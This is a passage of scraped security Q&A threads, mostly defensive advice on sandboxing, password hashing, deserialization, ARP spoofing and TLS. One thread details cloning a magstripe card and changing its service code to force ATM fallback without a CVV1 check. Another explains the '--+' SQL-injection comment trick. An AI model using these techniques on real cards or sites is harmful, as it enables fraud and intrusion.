Security concerns with user Python scripts I am generating dynamic images in a web service. The current setup is:

Request image.py
image.py does a database lookup to determine what data to use to generate the image
image.py calls a sub-script (given by the database; e.g., cats.py) to generate the particular image

So image.py contains standard wrapper code, and cats.py draws cats (dogs.py would naturally draw dogs). I would like to generalize this setup so that users can supply their own plotting code, subject to my pre-provided variables—chiefly the plotting canvas and the math library.

Allowing generic Python scripts to be uploaded is of course a substantial security concern. I would like to keep my server under my control, and avoid it being used to blast spam across the Internet; hosing the server with loops and large data structures is also a concern, but to my knowledge there's not much to do about that (please prove me wrong!).

Will the following measures be sufficient to guard against the most flagrant forms of abuse?

Call image.py as a user with limited permissions (to avoid users obtaining critical server information)
Disable key functions such as __import__, eval, exec, etc.—by setting them equal to None—to limit capabilities to a controlled environment (to avoid users importing network libraries and other things with nasty potential)

I am destroying the database object and all critical variables prior to calling potential user scripts. One challenge is that I am returning Python errors when they exist, by modifying the content-type of the returned document. This might allow inspection of certain properties, but is also necessary to permit debugging.

I have found these related questions, but I'm not certain they're directly related:

Security concerns with a "fiddle" site?
Python security hardening

Update: I see from testing that __import__ = None does not actually disable the import keyword. So maybe this concept won't work.

To approach this problem from a different angle, how about creating a domain specific language?

Why give the users the ability to do a plethora of things you don't want them to be able to do, and then attempt to sandbox and contain the power you're giving them? Instead, create a simple language that can only be used for plotting, and interpret it with Python.

So you could create a simple DSL called "Plot" or something. Plot would be a language that allows users to describe their plotting strategies. So your image.py file would load cat.plot, which could be supplied by you or a user.

As was mentioned in the comments, whitelisting of functionality is much better than blacklisting. Don't give the users more power than they need—better to not give the power in the first place rather than trying to contain it.


Is there a Service to setup a Honey Pot URL to collect user IP + other data? Being the paranoid user I am. I always think I have an infected computer with trojans or malware or prying eyes to my work computer. I was wondering is there a service that lets you create a honey pot URL to collect user's IP + other browser data once the user visits the page and then email you once that page is accessed?

My main goal is to leave a text file on my desktop labeled "personal_stuff.txt" and in that text file will be a URL to somewhere and once someone visits it, I will get emailed with their IP address and other data associated with it. From there I can tell if my computer gets infected and take appropriate actions.

Every website collects IP and browser information - all you need to do is set up a free server on a free hosting service and check the logs. Technologically, there is no service because it is trivial.

Your implementation of how the URL is discovered is going to be an issue. The Internet is full of crawlers looking for websites, so you are going to get a lot of hits in your logs. What you need is a username/password and a password protected service to use.

This concept is called a "Honey User". You can set this up on any service (Gmail?). Just make sure that you don't use the Honey User account for any other purpose. Google account services has some level of logging of when and where the account was accessed from, if it was accessed from a new location, etc. But, choose the service that meets your needs.

You can put the credentials in password files, your browser's password cache, etc, so that when an attacker goes for those high-value targets, they are more likely to discover the Honey User account.


htaccess - protect php file execution in specific directory How can I protect php execution in specific upload directory?
Mostly, people put .htaccess in upload folder to protect php execution. But someone says it can be replaced by attackers.
So how can I control it from the root .htaccess ?
I tried to put the below codes in root .htaccess but it shows "500 internal sever error" and my website goes down.

<Directory ^public_html/product/uploads>
<Files ^(*.php|*.phps)>
    order deny,allow
    deny from all
</Files>
</Directory>

Thanks in advance

Have you tried using "'s?

<Directory "^public_html/product/uploads">
<Files "^(*.php|*.phps)">
    order deny,allow
    deny from all
</Files>
</Directory>

This would deny users from accessing PHP files.
Alternatively, you can disable the PHP engine for this directory, allow the files to be read. Check out the related question Disable PHP in directory (including all sub-directories) with .htaccess


Which is a safe way to record Firefox passwords in Gnome Seahorse Keyring? Here is a question that I asked on "AskUbuntu" and I've been suggested to ask it here:

Searching for answers about ways to record Firefox passwords in Gnome Seahorse Keyring vault,
I found severals possibilities:

Firefox Gnome Keyring firefox addon
from https://github.com/ in this answer and this answer
Gnome keyring password integration firefox addon
from https://addons.mozilla.org/en-US in this question
Integration con Gnome Keyring firefox addon
from https://addons.mozilla.org/fr
seems to be the Spanish version of the previous bullet on the French server (humm weird)
add this PPA in https://launchpad.net and install package called "mozilla-gnome-keyring"
from this bugzilla

But now how can I know which solution is safe ?

Reading this answer, I understand that browser add-ons can easily be hacked, so I bet that the 3 first solutions are not safe.
What about the solution with PPA in https://launchpad.net ?

The first one is open source, so anyone could look for backdoors in it -- including you. Of course, it's hard to say if it's actually safe without verifying it for yourself, but it's at least safer than the other two, where the source code is a secret. There's some evidence that other people are reviewing this code, and there's only a couple files, so in practice, I think this code is likely safe, but it really depends on your level of paranoia.

The PPA just has pre-built packages of the first addon. PPA's are not reviewed by Canonical, so you shouldn't assume that they're safe. You should only trust them as much as you trust the author (assuming you have some way of verifying the author is who they claim they are).

In other words:

The first one is the safest, but it's hard to say how safe it is without reading the source code yourself.
The PPA is only safe if you trust the source code and the author of the PPA.


Secure transactions (on or off the internet) with a credit card I have read about how hopelessly insecure credit cards are, and was wondering if there is, in the uk, a provider of either:

One time use credit cards.
Text me on transaction cards.
Pre paid cards: limited exposure.
Secure transaction cards ( I suspect these would be incompatible with the existing system)

I have looked into Emue:
In Europe there is a product that uses it, Visa CodeSure.

  Users input their card number when purchasing online, flip the card
  over and turn on the screen.

  They then input their pin, and a unique one-time-passcode appears on
  the display, which is used by the cardholder to authenticate the
  purchase or payment.

So basically, you hand over the keys, then do some other stuff that may deny you access. Your keys (card number) can still be used on the thousands of sites that don't use this scheme.

Also it seems to be a replacement to using a separate card reader, thus going in the wrong direction to allow a usb reader, and automation.

  Visa CodeSure does away with these card readers and replaces the
  current Verified by Visa system for those using the new card.

It also seems to be increasing the amount of techno-junk.

I think it will reduce fraud, however I don't think it will make transactions secure.

Here in the UK, Visa offers Pre-paid cards. This means that the cards are completely compatible with the current EMV system in the UK, but you have significantly lower exposure to things like identity theft and card fraud.

These cards are not immune to the above, but they limit how much damage can be done with one. Other providers probably offer similar service, but I've never heard of them.

As for "Secure Transactions", all you'd have to do to overcome the problems with the current EMV system is to disable physical signature authentication on the cards, and force them to fix the pre-play attacks that can be carried out on EMV cards due to faulty implementation, and it'd be fine (Not mentioning fixing the ATMs and the EMV POS devices, but that's less the card's fault, and more the infrastructure's fault).


How to pick an encryption algorithm (cipher) and mode for PHP's mcrypt, for encrypting passwords? There are numerous algorithms listed in the PHP documentation:

http://php.net/manual/en/mcrypt.ciphers.php

How strong is each one and what criteria to use when picking one?

Also the mcrypt_encrypt() function requires mode to be passed. From their docs:

  One of the MCRYPT_MODE_modename constants, or one of the following
  strings: "ecb", "cbc", "cfb", "ofb", "nofb" or "stream".

Again, what criteria to use on choosing a mode?

You generally don't want to encrypt passwords as that opens the door to them being stolen. Instead you want to hash them, a one-way operation is mathematically impossible (or at least very hard) to reverse. This means that stealing password hashes will never lead to stealing passwords.

PHP has a great set of functions for this: password_hash and password_verify. Just use them with the default values and you'll get state of the art technology automatically. See this reference for background.


How can one recover from the Yahoo! XSS attack? Many Yahoo!/SBC Global email accounts have been hijacked via an infamous XSS attack. The accounts are often used to send spam to random members of the user's personal address book. The spam often advertises a weight loss solution on a fake clone of a news site, which accepts credit card details, and possibly hijacks accounts as well.

I know that the accounts are hijacked using stolen session cookies. Therefore, resetting the password should invalidate any stolen sessions. Should any other actions be taken?

If you change your Yahoo password, this will invalidate all existing sessions with all Yahoo services (not just webmail).  This is true whether you use SSL when you change your password or not.

You can also review recent activity from your Yahoo account, to check for suspicious actions taken using your account.

After changing your password, you could consider enabling two-factor authentication if you want (not that it's related in any way, it's just a good opportunity to see whether it makes sense for you).

SSL is a separate topic.  The only connection is that, if you are connecting over an insecure network, you might want to use SSL when you connect to SSL and enter in your new password.  But that's a good idea, regardless of whether you've been hacked by XSS or not.  SSL is mostly a distraction here.

(To avoid confusion, I recommend you stick to one question at a time.  If you want to know both (1) how to recover from a compromise of a Yahoo account, and (2) how complete Yahoo's SSL support is, you should ask two separate questions.  You might want to edit this one to focus on just one of these and post a new question on the other.)


How much risk by sending id and card via email? I sometimes have a little fun playing bingo, through an online casino. A few weeks ago I won a fairly decent sum of money (£1509). The casino is now asking for verification details (photocopy of passport, utility bill and front of debit card,) I understand this is commonplace now with online betting so I’m not concerned with the bookmaker, the problem is that they only communicate via email. No other methods of sending information are possible. I have been through this with their support, but I’m getting nowhere.

It’s obviously insecure to send these details through email, but if I obscure some of the information on my card, how risky would this be?

Is there any other technical suggestion that I’m missing?

Two things I can think of:

I think you can run TLS check against the receiving email domain to verify whether TLS is set up properly on their end. And if you use large mail provider like Gmail you know your side is good. (But I could be wrong in understanding how email TLS works..)

Second thing is you can potentially encrypt the attachment separately, send over email, and somehow communicate with the support the decryption key.


Injected malicious code in temporary files It just came to my mind that few years ago many iOS applications where infected by XcodeGhost (notably WeChat). This made me think about few possible scenarios:

Malicious code injected in object files

Compilers produce many temporary files and those files are, often, not even scanned by AV software because it visibly slows down compilation, even if the threat is detected later, by some heuristic, on the compiled executable we'll often dismiss it as a false positive ("hey, it's MY code").

A malicious application (probably a Trojan) is running with low privileges but it has (obviously?) access to user data. A malicious application can EASILY inject malicious code into compiler generated intermediate object files and malicious code will be part of our compiled application. Moreover compiler may apply intra-module optimizations, mixing malicious code with our code making detection in the produced executable harder.

Of course the attacker has to know the exact file format, target architecture and compiler version but it's feasible to support few architectures and popular compilers.

No one, I assume, will inspect generate code...not even when it's easy to decompile like for .NET and Java.

Malicious code injected in temporary files

Temporary files are often (at least in my experience) treated as part of the application and considered secure. Unless you're using a tool like VERACODE where every external input is considered compromised then a malicious application can read and change them, changing behavior of another application and, in some circumstances, even injecting code or exploiting another security issue.

It's true that data are considered shared but it's not uncommon (I won't mention in which applications...) to store a cache of executable code as a temporary file which can be tampered and force the host application to run malicious code. It opens to three possibilities: host application can perform unwanted actions, share data which is supposed to be confidential or execute something with elevated privileges.

A combination of this approach and the previous one: an attacker may simply change the makefile generated by an IDE as a temporary file to include its own library (or obj file).

At least on Windows, temporary files are then open to injection even by an unelevated application (because protection is by user).

Malicious application can read private data

It's surprising the amount of data stored in our temporary files, some should not be visible to an application with low privileges but, again, protection is per user. Even without injecting any code, a malicious application can read data it has not the permissions to read (and I made a very quick scan in the leftovers of my Windows temp folder...all the temporary files properly deleted after few hundred milliseconds may contain even more sensitive data).

Finally, the question

What can we do (as developers and as users) to protect us against these kind of attacks?

The first attack might be mitigated (but not completely avoided) using a build server but a surprising number of applications are built on the development machine (even more often when using Docker). AVs might setup an honeypot to, at least, detect this attack.

The second attack it's the easiest to avoid, we just need to consider temporary files as compromised but the workaround might not be that easy to implement...

For the third one I can't think of a solution (beside stopping to use MANY unsafe applications) or running each application (or group of them) as separate a user. We'd need OS support to store temporary files isolated per-application.

Ideas?

My answer may look ridiculous compared to your question, but you can simply use code signing to mitigate all of the scenarios you developed.

As you mentioned .net, you cannot "simply" inject code in a strong-named assembly without tempering it.

Before loading anything you verify its authenticity (against your digital cert).

Is this the ultimate solution? of course NO, but it will demand much more sophisticated malware than a simple code injector (whatever where..)


Will HTTPS negotiations slow down as more domains are added to the certificate? We run a store frontend with 15 different wildcard domains (*.foo.ie, *.foo.uk etc) in the certificate. We're considering adding the root domain (foo.ie, foo.uk) into the certificate, to let the store frontend handle the redirect to www.foo.* - or possibly set up another certificate with just the root certificates, and a simple frontend that just redirects it.

My question is, does a certificate with many domain names cause increased HTTPS negotiation times by any significant factor - ie, by causing more data to be sent over the wire, possibly causing more TCP segments?

There's added cost in reading the cert from disk/ram and processing it, but this should be negligible compared to even minor increases in 'time on the wire'.

The number of names is a very small amount of data overall; if it pushes delivering the certificate over a packet size threshold, the added delay won't perceptibly impact human users that have broadband or other high speed connections. The receiving computer will have up to 14 extra strings to scan; again, an imperceptible amount of overhead to any particular human user.

Qualys SSL Labs did a certificate survey a few years ago, and presented their findings at Blackhat.  They found many issues that contributed to performance problems.  In the case of multiple domain names, they found one certificate with 354 unrelated domain names, and the certificate was 8.2KB long!  So yes, there is a line you probably don't want to cross, and 354 appears to cross it.

Another common problem they found impacting performance was that some validation chains were too long.  A long time ago, some PKI architects were advocating a multi-tiered approach, where every certificate would be signed by a root CA, one or two Subordinate CAs, and one or two Policy CAs.  Running through the RSA math on four different validation steps is what bogged down the clients, much more than the size of the certificates.  (Qualys found 8 certificates that had a signing depth of 6!)  To keep performance as high as possible, keep the signing chain as short as possible.

They also saw 43% of servers were sending too many certificates.  Normally, you would include the server's cert and any intermediate signing certificates needed to validate it up to the root (the root cert is normally contained within the browser, unless it's a self-signed cert.)  Many sites were wasting bandwidth by including additional certificates not needed to validate their site.  One site sent a certificate file back that contained 116 certificates!

Finally, they found lots of certificates that were just plain bad.  They were self-signed, expired, used weak algorithms, or had other flaws that meant their protection was less than optimal.  Of all the things you need to achieve with a certificate, security is number one - performance is not.  So I'd recommend using their analysis tool and finding out what they think of your setup.  https://www.ssllabs.com/ssltest/index.html . I run this check every time I change my server's configuration and after updating my certificate.

UPDATE:  I've switched to using an nmap script to check my server.  Make sure you're running an up-to-date version of nmap, then run nmap --unprivileged -sV --script ssl-enum-ciphers -p 433 example.org.  This will list the ciphers supported by the server, and provide a letter grade indicating the security of each, and an overall grade for your server.  Good for finding things like out of date and insecure versions of SSL/TLS, 64 bit ciphers, etc.  And you can run it on any host and port, so you can test app servers, web services, internal servers that are behind your firewalls, etc.


What is the difference of the word "Open" in OpenID vs. OpenID Connect I am having a hard time in understanding the concept of OpenId and OpenId Connect. Both of them have the word "Open" in them but there is a difference in the meaning. Why is this so?

THere is no difference in the word "Open" per se.

OpenID and OpenID Connect are both authentication protocols standardized and overseen by the OpenID Foundation, thus the similarity in name.

The differences:

OpenID is an authentication protocol designed for federating identity from the ground-up, and for nothing else.

OpenID Connect is a standardized authentication layer on top of OAuth 2.0, which is an authorization protocol standardized separately.  OpenID Connect was a response to the fact that many people were using OAuth for authentication, and the use case needed to be properly codifed and supported.


As a private individual, what might I learn from hiring a pentester for my home network? It's far from unusual for companies to hire external pentesters to probe their systems in order to expose vulnerabilities. Finding companies that cater to this market isn't difficult, and a few candidates are at the other end of just a web search.

However, it seems most or all of those companies cater to the business-to-business market, not individuals.

As an individual, assuming that I can find a reputable company that is willing to work with me, and that I am willing to pay the cost for their services, what could I expect to learn about my home IT security by hiring a pentesting company? Am I likely to learn anything that can't be found out simply by hooking up my network to the Internet for a few minutes and monitoring the resulting firewall logs, and looking for software updates?

There are two primary assessment types that a penetration tester can provide: internal and external security assessments. There are many other subcategories within this classification, but for simplicity's sake, let's talk about these two primary types of penetration test.

An External Penetration Test is conducted from outside your network -- from the Internet. This simulates what an arbitrary online attacker might see, and could identify flaws in services you're running that are exposed to the Internet. For example: if you were running a web server at home, but potentially forgot to patch it, a penetration tester might be able to exploit known vulnerabilities and pivot into your home network.

An Internal Penetration Test places the security assessor inside your home network. In this case, you would either grant the pentester physical access to your home, or spin up a VM with VPN access, or something similar. The scope of this test is much different: you don't need to be running any public services to be attacked. A tester in this scenario would be able to scan your internal network, identify devices, and -- depending on your network configuration -- might even be able to sniff your network traffic.

In my experience, you probably wouldn't find much on an External test (unless you're using your home as a server host of some kind), since most people don't have any Internet-facing services. Maybe your router has a web interface that could have vulnerabilities or misconfigurations -- but more likely, the report would be relatively empty.

An Internal test, on the other hand, would almost certainly identify weaknesses in your home network. The question for you, then, is whether untrusted individuals are being given network access in your home. If they are, and you want to see what a skilled attacker might be able to pull off, this could provide some valuable insight.

In truth, if you're keeping all your systems and software up-to-date and aren't running any Internet-facing services, you're probably relatively OK from a security perspective. If this is the case, your biggest threats will be in the form of spearphishing/social engineering, or online services you use getting hacked. Don't re-use passwords (use a password manager + random passwords), and don't upload data to services without thinking about what would happen if they were breached. Utilizing full-disk encryption on your hard disks keeps you safe in case of physical theft of your computer.

Here's the really short answer: you probably wouldn't learn much from an External test, and you'd likely get compromised by a skilled attacker that's already on your Internal network. It is probably not worth the cost, but you won't know what an assessor would find without buying the assessment!


Ensuring security of deserializing data using Protobuf-net I am interested in using protobuf-net to serialize/deserialize data sent across my TCP applications. I learnt of protobuf-net a few weeks ago and downloaded it from here and plan to use it in my network applications. Although I've used the XML serializer before, I've never considered the issue of security in serialization as the programs I was creating were private and didn't send data across a network.

After some reading on Security Considerations for Data, I understand that careless implementation of serialization could result in a custom client sending malicious data to the server which is a major security flaw.

However, as I don't fully understand the process of serializing/deserializing an object and am not completely aware of the capabilities of .net, I don't know what precautions I should take to ensure that an attacker won't find any way to make the server act in an unintended way. I don't want to implement serialization until I'm sure that all of the necessary precautions have been taken in my code.

I understand that the possible threats an attacker could pose are:

Unintentional information disclosure. I'm not sure on this, but if I'm not mistaken, this is only a security concern for the sender which is not a problem for the receiving end. As long as sent confidential data is encrypted, this shouldn't be a concern?
Denial of service. This can be stopped by putting a limit on the size of the object being deserialized.
Malicious code execution. This is the possibility I'm most worried about especially due to my lack of complete knowledge on serialization and .net.

Are the only things which are serialized variables (both private and public) of the object? So events and functions cannot be transferred across in any way? Since functions cannot be set as variables in VB (unlike other languages such as Swift which has closures), this shouldn't be a concern, but I'm not entirely sure if there is another way to circumvent this which is why I ask.

If the above is the case, then can I ensure that no malicious code is run if I only deserialize the data into an Object or a class which has no 'potentially dangerous' functions?

When an object is deserialized, is New called? If so, then I would have to make sure New is 'safe' to call?

In addition to the above, are there any other ways in which an attacker could destabilize my server (eg. taking advantage of inheritance or events/handlers)?

Are the answers to the above questions the same for serializers other than protobuf-net?

Moved from SO as it was deemed to be more suitable here

I cannot answer questions #1 or #2, but I can speak a bit to question #3.  First, a quick overview of protobuf-net.

On the wire, Google's protocol buffers are a messaging format not a serialization format.  Messages consist of sequences of key/value pairs, where values can be primitive data types or nested sequences.  It's somewhat similar to JSON, except that the keys are integers rather than name strings.  The format is language-independent (and thus contains no language-specific type information) and sufficiently self-documenting that values of unexpected properties can be skipped and data types for primitive values can be inferred.

protobuf-net is a contract based serializer for .NET types that serializes from and to the protocol buffer format.  "Contract based" means that the serializer builds a map (a.k.a. "contract") between message properties and .Net properties, then uses that contract to construct and deserialize .Net objects.  The "root" object to deserialize is specified by the call to deserialize, e.g.

var rootObject = ProtoBuf.Serializer.Deserialize<RootObjectType>(stream)

Basic instructions for its use can be found here and here.

protubuf-net makes only limited use of unsafe code - currently only for efficient deserialization of floating point values I believe.  This can be disabled by building with FEAT_SAFE defined.  Thus the possibility of a malformed message overwriting the heap or stack is minimized.  Protobuf-net does not share a code base with the Google implementation of protocol buffers.

So, how does protobuf-net construct its contract (the RuntimeTypeModel) for mapping .Net types to messages?  Since message keys are integers rather than strings, the canonical choice of using the .Net public property or field name does not work.  Instead, there are the following options:

The type can be annotated with with [ProtoContract] and [ProtoMember()] attributes, like this example from the docs:

[ProtoContract]
class Person {
    [ProtoMember(1)]
    public string Name {get;set:}
    [ProtoMember(2)]
    public Address Address {get;set;}
}
[ProtoContract]
class Address {
    [ProtoMember(1)]
    public string Line1 {get;set;}
    [ProtoMember(2)]
    public string Line2 {get;set;}
}

The properties and fields marked with [ProtoMember] will be discovered using reflection and serialized.  Others will not.
The contract can be constructed programmatically, as shown here.
protobuf-net contract generation is opt-in by default.  I.e., only the specified properties and fields are serialized.  However, this can be overridden by setting ProtoContractAttribute.ImplicitFields to one of the following values:

public enum ImplicitFields
{
    /// <summary>
    /// No members are serialized implicitly; all members require a suitable
    /// attribute such as [ProtoMember]. This is the recmomended mode for
    /// most scenarios.
    /// </summary>
    None = 0,
    /// <summary>
    /// Public properties and fields are eligible for implicit serialization;
    /// this treats the public API as a contract. Ordering beings from ImplicitFirstTag.
    /// </summary>
    AllPublic= 1,
    /// <summary>
    /// Public and non-public fields are eligible for implicit serialization;
    /// this acts as a state/implementation serializer. Ordering beings from ImplicitFirstTag.
    /// </summary>
    AllFields = 2
}

protobuf-net can also use data contract serializer and XmlSerializer attributes for automatic contract creation.  This can be disabled via the property ProtoContractAttribute.UseProtoMembersOnly.
While protobuf-net was originally designed as a code-first serializer (you define your types, then define how to serialize them) it does have support for c# code generation from message prototypes.  See here for details.

Thus, as you can see, the possibility for unwanted types and code to be injected during serialization is limited by design since the contract, rather than the message, controls the types of constructed objects.  This can be further limited via the following recommendations:

Do not use [ProtoMember(DynamicType = true)].

protobuf-net implements an extension to the standard allowing the .Net type to be deserialized to be specified in the message itself - breaking the relative safety of of the out-of-the-box standard.  This is disabled by default but can be enabled by setting DynamicType = true.  Do not use this functionality, as this is the most obvious way for an unexpected object to be injected during deserialization.

If you are concerned that some other developer on the team might use this functionality (as it does make serializing polymorphic types extremely easy), you can set an event on TypeModel.DynamicTypeFormatting that throws an exception whenever the serializer tryies to resolve a dynamic type, or a dynamic type name, e.g.:

    ProtoBuf.Meta.TypeFormatEventHandler handler = (o, e) => { throw new NotSupportedException("Dynamic typing is not allowed."); };
    ProtoBuf.Meta.RuntimeTypeModel.Default.DynamicTypeFormatting += handler;

Be sure to set the event on the typemodel you are actually using, as is pointed out here.
Be careful with inheritance.  protobuf-net does support inheritance.  Take care not to allow unwanted derived types to creep into the contract.  E.g., given the following:

[ProtoContract]
[ProtoInclude(7, typeof(ValidatedSqlQuery))]
[ProtoInclude(8, typeof(DebugSqlCommand))]
public abstract class SqlCommand
{
}

/// <summary>
/// Represents a fully validated, parameterized SQL query
/// </summary>
[ProtoContract]
public class ValidatedSqlQuery
{
}

/// <summary>
/// For testing purposes, execute any command against the database.
/// </summary>
[ProtoContract]
class DebugSqlCommand
{
}

It's possible for a DebugSqlCommand to get constructed in a List<SqlCommand> via an appropriate message, possibly causing damage down the line.
Serialize properties, not fields.  Do not use ImplicitFields.AllFields.  Avoid using ImplicitFields.AllPublic whenever possible.
Validate data in all property setters.  You can use serialization-specific setters if you don't want to do the validation on the "normal" setters, e.g.:

[ProtoContract]
class Contact {
    public string Email { get; set; }

    [ProtoMember(1)]
    string SerializedEmail {
        get { return Email; }
        set
        {
            // Make sure the email is well-formed, throw an exception if not
            ValidateEmail(value);
            Email = value;
        }
    }
}

In complex validation scenarios, you can validate multiple related properties in an [OnDeserialized] callback.
Finally, your deserialization code is only as safe as the objects you deserialize!  Do not serialize objects containing or using unsafe code.  Do not allow debug objects to be serialized.


how to prevent arp poisoning on my network? Some users on my network using wifikill or netcut to prevent other users from accessing the internet

[ ISP's router: public IP ] - [ gateway: public IP eth1 - network eth0 (NAT) ] - [ switch and access point ] - [ clients ]

all other computer connects to eth0 as gateway, using Wifi or LAN..

how to prevent one client poison other clients arp cache, the gateway is using Linux?

arpon seems has no effect..

or is there any product (switches and access point) that has ARP spoofing protection?

Configure your switch to use Private VLANS (PVLANS).  PVLANS basically say that physical ports Gi1/1 - 47 can only talk to physical port Gi1/48 (where your gateway is).  Even things on the same subnet must go through the gateway to talk.  In a setup with N hosts there is generally no reason for the hosts to talk so a PVLAN config is optimal for security.

ARP (or anything for that matter) that originates from a host can simply not reach the other hosts.


Downsides to SSHing from a root account to a less privileged account on another server I know that SSHing to a server as root (i.e. so that you are logged in as root after connecting) has its downsides.  My question is sort of the opposite.  If I connect from a server as root to a server as another account, are there still potentially security concerns there?

For example, if I have securely logged into the root account on one server and in turn connect to other servers as a single-purpose account to perform some sort of administration or backup purpose, is the fact that the account originating the connection is root a concern?

Could SSHing as root be a risk

The main risk of SSHing as root is that if there is an exploit for your SSH client then it if the exploit was used against you then the attacker could get root access to the client machine.

As there are very few reasons to use SSH as root it is usually best to avoid running SSH as root.

Ways around reasons to use SSH as root

If you are using an authentication token you can allow a standard user access to the token instead of running as root.


Principles of cache attacks There are many scientific publications that deal with cache attacks. Most recently, the CacheBleed attack was published which exploits cache bank conflicts on the Intel Sandy Bridge architecture. Most timing attacks use a similar approach:

The attacker fills the cache with same random data he controls.
The attacker waits while his victim is doing some computation (e.g. encryption).
The attacker continues execution and measures the time to load each set of his data that he's written to cache in step 1. If the victim has accessed some cache sets, it will have evicted some of the attacker's lines, which the attacker observes as increased memory access latency for those lines.

By doing so the attacker can find out what cache set or even what cache line were accessed by the victim.

Most papers I've read automatically conclude that the attacker then has the possibility to deduce the data (e.g. a secure private key) that was written to these cache locations. This is what I don't understand:

If I know that victim V accessed a certain cache position, how do I get his data? Many memory addresses map to the same cache position and even if I had the full memory address, I doubt that the attacker could perform a DMA.

As a reference you can take the recently published CacheBleed attack.

Apparently, this topic arouse great interest to many of you. After having done some more research, I presented the CacheBleed attack to a group of scientists last month. Now, I would like to share my results with you and to actually answer my own question.

The above three steps of the generic Prime+Probe attack are correct. However, the decisive step is missing, i.e. how to deduce the secret key. The attacker is not able to perform a DMA and he is not able to read the data saved in the cache lines. This is quite important to understand because otherwise, the entire attack would be much easier.

The attacker only knows what cache line was accessed by measuring time delays. Furthermore, he knows how RSA is implemented and what algorithms are in use. OpenSSL uses a fixed-window exponentiation algorithm to compute the message m

m = c^d mod p

We need to understand how this exponentiation algorithm works. The Handbook of Applied Cryptography by Menezes, van Oorschot, and Vanstone suggest the following pseudo-code:

Please do not confuse the secret key d and the exponent e in the above algorithm. As we are only interested in the decryption step, e is not the public key but the secret. Thus d = e in our case. The interesting point is the multiplication in 3.2. It uses precomputed multiplier g_j which actually speeds up the exponentiation. However, their selection depends on the secret key.

If the attacker knows the index of the current multiplier, i.e. what multiplier is used, he knows some bits of the secret key. The value of the multiplier is not of interest.

OpenSSL uses the so-called scatter-gather technique to avoid cache attacks on cache line granularity. It is predictable where the multiplier is stored. In total there are 32 multipliers. For that reason each needs 5 bits to be identified uniquely. The two most significant bits select the cache line while the three least significant bits identify the bin. Each cache line consists of eight bins.

The attacker is able to deduce what bin was accessed during a decryption operation. This reveals three bits of the index of the used multiplier and thus partly the private key. The missing two bits can be computed due to redundancies in RSA keys.

To sum it up, no DMA is performed, the attacker does not read data from the cache. The crucial factor is that the cache position partly reveals the secret key. This is due to secret-dependent memory accesses. Similar attacks such as on AES make use of the cache position as well. The actual data is not of interest, but the position reveals sensible data.


SSL Handshake random number? I realized all of the phase of the handshake but I do not understand how it does that from the two randomly generated numbers are unable to generate a session key that the client and the server uses for symmetric encryption .
if someone explain to me how it works I would be very grateful

This is being done by using the

Diffie-Hellman key exchange protocol when you aim for Forward Secrecy (Authentication-Key = RSA, Encrpytion-Key = DH-negotiated)
RSA in non Forward Secrecy scenarios (Authentication/Encryption-Key = RSA).

The latter has the disadvantage that an attacker that can get hold of your private key can also decrypt all past communication - whereas this is not possible by using DH and therefore a different key for encryption.


ATM CVV1 + Service Code, POS Security Flaw? I'm new to this topic and I found it very interesting how all the payment system is currently working. To be honest it look like they are not doing enough to stop fraudulent activity with Credit Cards.

From my understanding, each card has an smart chip that use encrypted data, this to overcome the Magstrip plaintext.

The problem that each card STILL has a Magstrip in case EMV is not working(Merchant don't wanna lose customers).

When the POS cant read the Chip, it will fallback to the Magstripe. What criminals are doing is cloning track 1//2 on Mag cards with blank/unreadable Chip, this will cause the POS to fallback to Magstripe transaction... and the whole EMV is irrelevant in this case.

I thought this is extremely dangerous and went to the wild to check it on my own card(201 / Chip and Pin) and here is the outcome:

I cloned my own CC (201 / chip) on blank Magstripe card and went to the ATM.. after typing the PIN i got the withdrawal screen, pressed on the lowest amount then the ATM said "Service is Unavailable for this card".

Then I did some research and found this : https://github.com/samyk/magspoof/pull/3

I know that when changing the service code, the CVV1 is also changed (DES encryption of PAN, Exp Date and Service code = CVV1). But I changed it to see what will happen.

Its so weird, The cloned card of my own CC worked just on 1 model of ATM. I even tried to change the CVV1 to random number and its still working on that specific ATM(My bank is not even checking CVV1 ????)

Does anyone know whats going on? Why when changing the Service Code its working on 1 Model of ATMS? Why my bank is not verifying the CVV1 value?

Can someone please explain why my own cloned card is not working when using 201 as service code? The POS should do fallback transaction as he cant read the Chip.

Its really confusing and scary at the same time, how this simple trick (Changing 201 to 101), made the POS to continue the transaction, and then the bank didnt even verify the CVV1(I even typed 000 then random number and still it works).

Should I report this to my bank/POS company?

After hours of research, I think I found the answer:
This specific ATM model (Private company) doesn't have the authorization to transfer track data in the request message, therefore CVV1 is not checked by the bank!

https://stackoverflow.com/questions/29820337/difference-between-pos-entry-modes-field-22#34044458
" '90' used in case track data present in the ISO 8583 request message, '02' - if, for same reason, acquirer or terminal device not qualified to transfer track data in the request messages." @iso8583.info-support

So the POS entry mode for this ATM Model is '02', that's why no matter what CVV1 value I encoded in the track data, the withdrawal was successful.

Is that something normal or should I report it?
How criminals are still doing ATM frauds with cloned cards?
In Europe, all ATM fallback transactions must be declined according to This : pg 226 - 7.6
https://www.mastercard.us/content/dam/mccom/global/documents/transaction-processing-rules.pdf

Is the above means that criminals are doing fraud only on Bank Branch Terminals ?
According to this, simple cloning of my own CC should work on Bank Branch ATM right?


Why should we sometimes use --+ instead of -- in SQL injection to comment the rest of the query? I have encountered some websites that when I used -- to comment the rest of the query it didn't work, but when I tried --+ it worked.

In the MySQL official documentation there is no such thing as --+ and we only have -- and two other ways.

Why does this happen (in detail)? I want to know exactly why this works sometimes and -- doesn't, and why there is no --+ for comments in the MySQL man page?

From the documentation:

  From a --  sequence to the end of the line. In MySQL, the --  (double-dash) comment style requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on). This syntax differs slightly from standard SQL comment syntax, as discussed in Section 1.8.2.4, “'--' as the Start of a Comment”.

(emphasis mine)

Many URL decoders treat + as a space.


Hugoclose.com malware is causing issues in google chrome In my MacBook Air, whenever I search something in google, some adds are appearing out of no where and they're hiding the actual search results from google. When I checked the developer tools, I found that they were coming from a http request to findsearchresults.info which is being called from another js file from hugoclose.com https://hugoclose.com/22c1fbfd0fc1969766.js. Can anyone help me fix this issue?

It seems Internet is full of very detailed guides on how to remove this specific Hugoclose.com malware manually, but in short it's removed with the very usual methods:

Remove the browser extensions you are not familiar with (or you have installed recently).
Remove all search providers you don't want.
Change the home page if it has been changed.
If the malware came with some other application, remove that application.

I don't want to link any of the guides as they all are there to promote their own malware removal software.


How to prevent abuse of SMTP by sending spam emails? I'm not an admin, I just created a website, and there's also a mail server on the server I payed for from my hosting provider. Most for what I learnt about mail servers is from an internet tutorials.

I'm using Open Panel (with Postfix), because I failed with configuring Exim properly. But my problems haven't come to an end.
